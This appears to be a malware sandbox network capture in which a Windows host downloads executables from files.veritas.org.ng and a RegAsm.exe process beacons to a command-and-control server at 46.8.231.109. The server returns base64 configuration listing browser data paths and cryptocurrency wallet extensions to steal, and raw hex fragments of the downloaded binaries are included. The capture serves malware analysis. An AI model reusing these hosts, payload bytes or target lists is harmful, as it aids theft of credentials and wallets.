Sep 30, 2024 13:59:38.219834089 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:38 GMT Content-Type: application/octet-stream Content-Length: 380456 Last-Modified: Mon, 30 Sep 2024 04:37:24 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2b04-5ce28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/(fN @ `K(& H.textT `.rsrc@@.reloc@B0H@X15QTw{v^"S0ZoX\|oASDnEe5_0EA;$3Z!h;%r;GuR$'9V7O?C:\|,`2vq2tX/g=^n(?%NgQ%%Iro0Hf.w+^ci/'FFREt+v7Sg3}(H)u!_5Ybtj#*Jz^xiHxT
Sep 30, 2024 13:59:38.219857931 CEST	1236	IN	Data Raw: 56 06 46 9c 63 7e bd 10 68 e2 fe 35 d2 c4 85 cd 3b cf 05 4e f4 a7 55 08 a4 66 f8 b9 b0 38 63 07 3f b2 ce f8 4b 1f 63 61 7d 78 9a ba 35 f4 8d 55 79 7b 6e b7 4a b0 ed 5e e0 a4 9d 10 f1 33 68 a7 8a bc 25 a0 7c 03 ca e8 ed 34 a6 72 be 7e 7c b3 7d 3e Data Ascii: VFc~h5;NUf8c?Kca}x5Uy{nJ^3h%\|4r~\|}>\|&sP!xKcv1S>yM6$%~l}$%)WpMFCz$x_F`92ALnI0W2zwIjh,&%oR]g'@
Sep 30, 2024 13:59:38.219873905 CEST	1236	IN	Data Raw: c6 6b ba e7 55 30 80 1b 31 35 53 33 ab 95 24 68 22 68 b5 84 6f 2d f7 65 6a 52 fc 25 d2 65 1c 94 5b 32 69 1d 37 cb 38 cf e2 4f e5 46 d3 60 f9 ba e9 d3 91 7c 49 e6 89 a1 d5 4c 7a 4e d2 bd fe 43 d3 79 8e d1 d7 2b 04 de ef 0c 64 70 48 2d 68 6e d8 8b Data Ascii: kU015S3$h"ho-ejR%e[2i78OF`\|ILzNCy+dpH-hnSYk9:,.5bgzwdNm:q5#pc:IM6dlNR,)V ,rjBmsl-"pP=bgYvOYr5
Sep 30, 2024 13:59:38.219885111 CEST	1236	IN	Data Raw: 2b ed 85 23 27 b7 b4 54 44 62 84 ce 4e b6 99 d6 35 5b 7e f7 d8 d1 b6 7e 51 c4 4f 62 99 4d 92 c4 6e ee 81 4b 9b 3d ad 82 05 35 d8 8e 85 27 8a 62 dc 2f 43 11 7f 7b 63 ac fa 85 0a e6 1e 73 6d 7e 1f db cb 15 35 e2 ce ab 25 ff ab 1e 22 8f 22 74 60 88 Data Ascii: +#'TDbN5[~~QObMnK=5'b/C{csm~5%""t`Eg&GIVDhS?F+_uNX<F[w?%\|6 _Hb9l6x?>x%ZFo%*iGZj,AodDHW'B{Tx]
Sep 30, 2024 13:59:38.219912052 CEST	1236	IN	Data Raw: ac d8 ba 12 fd 4f f6 88 93 7e fa 7b 17 98 54 a9 12 61 38 aa 32 c2 2d 4b 4e de a1 5b d6 95 7b 35 e5 52 50 9a d1 1e dc 9f 29 e5 aa a7 8b ae 1d bd a6 a9 f2 14 f5 a2 1c 31 a7 e9 d8 8b 40 ff a8 45 fd 70 9b 6f be 2d 2e 44 e1 7c 67 f9 72 63 94 f9 36 9e Data Ascii: O~{Ta82-KN[{5RP)1@Epo-.D\|grc6%G/u" %*SQi)'%]<hL8>t[W\</0&w5w1+.0]p:"'&^gxm[fIR/i2zz]A-UF
Sep 30, 2024 13:59:38.219923019 CEST	1236	IN	Data Raw: f5 81 6a 30 7e b9 4d 6b 32 e6 82 0f 87 48 ea 02 3e 53 7c 10 25 3b f9 05 16 1a d3 21 d1 bf fc 71 d6 3a 4e dd db 6b 21 cb 45 fc 0d 75 3a 78 84 4d 84 8b d0 22 2f c9 38 24 dd 7c 2b 15 ec 78 a3 2e f8 b1 fb f7 a1 6d 1b e8 2a 87 22 46 0a 56 d1 72 60 78 Data Ascii: j0~Mk2H>S\|%;!q:Nk!Eu:xM"/8$\|+x.m*"FVr`xL+A\|V+_Vk~vI6 Yl70npA!ls<;}BT{^B\|fuC3GrpJRsG&RS2}Xl_^HE7r
Sep 30, 2024 13:59:38.219935894 CEST	1236	IN	Data Raw: 97 07 0f 83 ce 3b 86 c2 58 fb 2a c7 7a 07 b8 44 c5 4c d7 3d 30 c4 6a 86 7f 8b 1d f1 13 14 8f f2 cf cd 75 3a f0 f3 02 c8 c1 56 a4 a0 be e8 11 ca 3b 8a 29 44 60 f2 cd cc 4b 7d 4a cf 8f 16 b2 f3 f6 ac e7 08 7b 51 b9 cb 6c 75 4c 81 44 4f 5a c3 a0 83 Data Ascii: ;XzDL=0ju:V;)D`K}J{QluLDOZ[j~kAgtQ$qF]xmdF0(rF95(YK'ILsw{b+u_Q[(d}HLe>tAgK~?4mMjOXJixku=^?Smb.eei<?z
Sep 30, 2024 13:59:38.219949007 CEST	1000	IN	Data Raw: eb f9 a5 88 5d dd d0 ce 58 68 46 b0 0d 58 5e 9f 0e 9c a5 61 ae 45 89 a8 5f 50 95 cf 2e af c4 b8 7a 37 7b 10 52 9c ca 27 08 0d 57 ec ae ba d5 91 c7 78 2b 1f 4d c1 14 c3 93 be e6 62 e2 03 99 09 cc 58 e2 a6 7d ac 0a 42 62 02 bf 3a e3 52 4b 70 90 8b Data Ascii: ]XhFX^aE_P.z7{R'Wx+MbX}Bb:RKpZn6HoBD0ll<:M=kWcF-SzHd3ifB")P~}F:c^h5#KQetgxlg?yvAO/f
Sep 30, 2024 13:59:38.219959974 CEST	1236	IN	Data Raw: 68 5a df 0a 0e 2e de 3b 2f df 28 85 b4 1b a4 10 f5 ac f5 74 86 3a 3b 5b 31 3f bd 08 c1 f5 3f 1e dd 95 77 78 bf 89 4c 6c 96 0a 54 26 7e 32 2e ca 16 94 73 60 60 24 b5 dd be a6 e2 1a 60 ec 14 e6 4e 27 99 27 14 47 56 5d d8 b6 24 e1 ab 06 0a ef 53 fc Data Ascii: hZ.;/(t:;[1??wxLlT&~2.s``$`N''GV]$S'9m`yaW)FAGLgD0<-35I~GtNv13D?08T+]Kq?^E7!xp:Cly6gph)WC1kl6R5S
Sep 30, 2024 13:59:38.219974041 CEST	1236	IN	Data Raw: 20 9e cd 51 1e 31 cb ef 1f 7a b3 9c da 11 3c 3c 3b c3 03 b0 f7 75 85 5b 4a 2a fd a4 4f 94 e6 7b 93 b8 5d 90 41 9b 87 ea 9f 92 5a 61 96 58 0f 7d 5f 0b 70 d2 8b 51 d8 04 ca dc ea 5a fc c9 7a 40 32 69 c7 99 01 35 d6 88 2c 7a 97 b6 ca 1f a9 22 71 92 Data Ascii: Q1z<<;u[J*O{]AZaX}_pQZz@2i5,z"qi$_\|QpH=$QI])FEgVc ~7]z^:$ZH$iqSJqjvr$a7Njwe&IDZ/]tIVTb<
Sep 30, 2024 13:59:38.224847078 CEST	1236	IN	Data Raw: 01 75 6a d1 fe db 85 24 30 46 bf 44 e4 52 02 c3 be 02 c4 8e e8 d7 0f 25 f9 4d d0 da 42 3d 10 40 e0 fd 8b b2 94 f5 c4 67 84 35 00 96 f7 80 55 a3 b2 33 ea 60 94 fd 97 4e 6c b0 28 0c bb 02 fc 37 e5 c7 24 7f a9 70 af 45 ec 9a 4a ff 40 8e f8 81 26 6e Data Ascii: uj$0FDR%MB=@g5U3`Nl(7$pEJ@&n}q5I4uJPeW w%`D6;``nZw%_??}W{Q*Vqq0OeMS<dq9E
Sep 30, 2024 13:59:39.818789005 CEST	98	OUT	GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 13:59:40.004353046 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:39 GMT Content-Type: application/octet-stream Content-Length: 414248 Last-Modified: Mon, 30 Sep 2024 04:37:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2afc-65228" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\(f"N@ `@ `@K`,(&> H.textT " `.rsrc`$@@.reloc@B0@H.;8`wrb CGA~zxFc@Qe88$aN!Q4f\dae94^Q8fvwWwHkQ,3A$#P)Sob+gY\o5m)2t5C&z7-Dq!oW2Fn;~9.q4lVOplm}':E/%2_g=7m0^hcz$cs?`t6@BM.
Sep 30, 2024 13:59:41.273597956 CEST	97	OUT	GET /ldms/66fa2ae906657_snd.exe HTTP/1.1 Host: files.veritas.org.ng Cache-Control: no-cache
Sep 30, 2024 13:59:41.458266020 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:41 GMT Content-Type: application/octet-stream Content-Length: 334376 Last-Modified: Mon, 30 Sep 2024 04:36:57 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fa2ae9-51a28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ea 04 00 00 08 00 00 00 00 00 00 4e 08 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 05 00 4b 00 00 00 00 20 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 f4 04 00 28 26 00 00 00 40 05 00 0c 00 00 00 c8 06 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?(fN @ ``K (&@ H.textT `.rsrc @@.reloc@@B0HtLq-~SI9R{dlo53 BLf5b#8Fxiuue+(uyq~8}#xRNJ_l~20,ZE#iwH*DFc/\|wo2J<A(fRnJJ5:uHb($GGxx!J,i48\G"[xdY<v~<]V<gXF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49727	46.8.231.109	80	1916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:42.336643934 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:42.956748962 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:43.335844994 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="hwid"54A50671C48A3788952882------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build"default------EGIDAAFIEHIEHJKFHCAE--
Sep 30, 2024 13:59:43.587999105 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 49 78 5a 44 41 77 5a 47 55 34 4e 54 55 77 5a 54 6b 34 5a 54 4e 6a 4f 44 52 6b 59 6a 67 33 5a 6d 55 32 4e 57 56 6d 59 54 59 32 4f 54 68 69 4e 6d 56 6a 4f 47 49 35 4d 54 56 6b 5a 44 6b 79 5a 57 4e 68 4d 44 51 30 4f 44 52 6b 59 7a 67 31 5a 6d 45 30 4e 54 56 6a 4e 44 56 68 4d 47 56 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODIxZDAwZGU4NTUwZTk4ZTNjODRkYjg3ZmU2NWVmYTY2OThiNmVjOGI5MTVkZDkyZWNhMDQ0ODRkYzg1ZmE0NTVjNDVhMGVifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 30, 2024 13:59:43.592864037 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHD Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 2d 2d 0d 0a Data Ascii: ------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------HJDAFIEHIEGDHIDGDGHDContent-Disposition: form-data; name="message"browsers------HJDAFIEHIEGDHIDGDGHD--
Sep 30, 2024 13:59:43.774178982 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 30, 2024 13:59:43.774194956 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 30, 2024 13:59:43.776515007 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="message"plugins------AFIDGDBGCAAFIDHIJKEH--
Sep 30, 2024 13:59:43.959155083 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
